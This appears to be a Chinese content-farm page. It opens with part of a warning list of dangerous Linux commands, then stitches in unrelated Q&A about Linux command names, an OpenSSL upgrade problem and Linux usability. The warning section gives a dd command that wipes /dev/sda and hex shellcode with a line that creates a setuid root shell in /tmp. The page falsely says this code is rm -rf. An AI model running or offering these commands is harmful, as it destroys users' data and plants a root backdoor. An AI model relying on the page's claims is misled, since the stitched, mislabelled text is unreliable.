Linux命令奇怪 linux命令行出现乱码( 三 )


9. dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据 。当然!你的系统可能陷入混乱和不可恢复的状态 。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见 , 你可以覆写多次 。)
10. 隐藏命令
下面的命令其实就是上面第一个命令 (rm -rf) 。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄 。在终端里运行下面命令可能会擦除你的根分区 。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到 。你必须时刻留心你在做什么结果会怎样 。不要编译/运行从未知来源的代码 。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令 , 因为这将导致数据丢失或者系统崩溃 。如果你想测试它们,请在虚拟机上运行 。
;
对比Windows系统的指令,为什么Linux的指令名称都比较奇怪?您好,我觉得不熟悉的都觉得奇怪 , 但是一旦熟悉了就不奇怪,如linux下的 ls 命令可能看似奇怪,但实际上它是 list 的缩写,那么它就不奇怪了 。
Linux升级openssl时遇到的奇怪错误服务器系统为centos6.5 想对系统的openssl进行升级 于是开始安装,最先开始安装的是1.1.1-pre8 后来将其删除重新安装1.1.1b 。安装过程中出现了奇怪的问题
具体如下:
建立openssl硬链接时 , 同时建立一个openssl 和 testopenssl
运行命令 ls -li|grep ssl后可以看到这两个硬链接对应了同样的 inode 796072
如图1:
可是在运行 openssl version 和 testopenssl version时确出现了 奇怪的现象 图2
得到的运行结果居然不同 其中1.1.1b为目前安装的版本1.1.1-pre8为之前试安装的版本
实在不明白原因是什么
附:在卸载1.1.1-pre8时 把/usr/bin/openssl 软链接删除后发现openssl软链接仍然可以使用当时就觉得非常奇怪
图3 甚至将usr/bin 下对应的链接文件换回系统默认的openssl后 仍然找到的是之前安装的1.1.1-pre8版本
后来安装git时 报错好像也与openssl有关
这个奇怪的错误已然成为本系统中的一个毒瘤了?。。?
今天 了解到了 bashrc profile 文件怀疑 可能将openssl配置到了这类文件里面
参考
缘由卸载git 后 发现使用 git version 仍能显示版本号
Linux那么难用为什么没有人想去改变这里不讨论桌面linux,桌面linux,是一个伪命题
很多linux初学者常常会感慨,为什么linux这么难用,用命令可以理解,但很多奇怪的命令缩写丝毫无规律 , 天马行空,各种配置文件自成一派,丝毫无标准,最奇葩的,这可能源于unix之前装B的哲学,我记得一个linux命令总是记不住 浩无依据可言,最后查大量资料发布,是因为发明这个命令的人,养的狗叫这个名字,无语,作为一个现代生产力高 科技 工具 , 我在使用它的时候还要关心创造者的狗叫什么名字. 这个时间有资本的介入当对人有预期收益时就能改善,如各种宝塔面板的流行,让很基础的人员哪怕完全不懂linux,买个云服务器装上宝塔面板,像编辑用CMS系统一样操作LINUX也能上面上工作 。

推荐阅读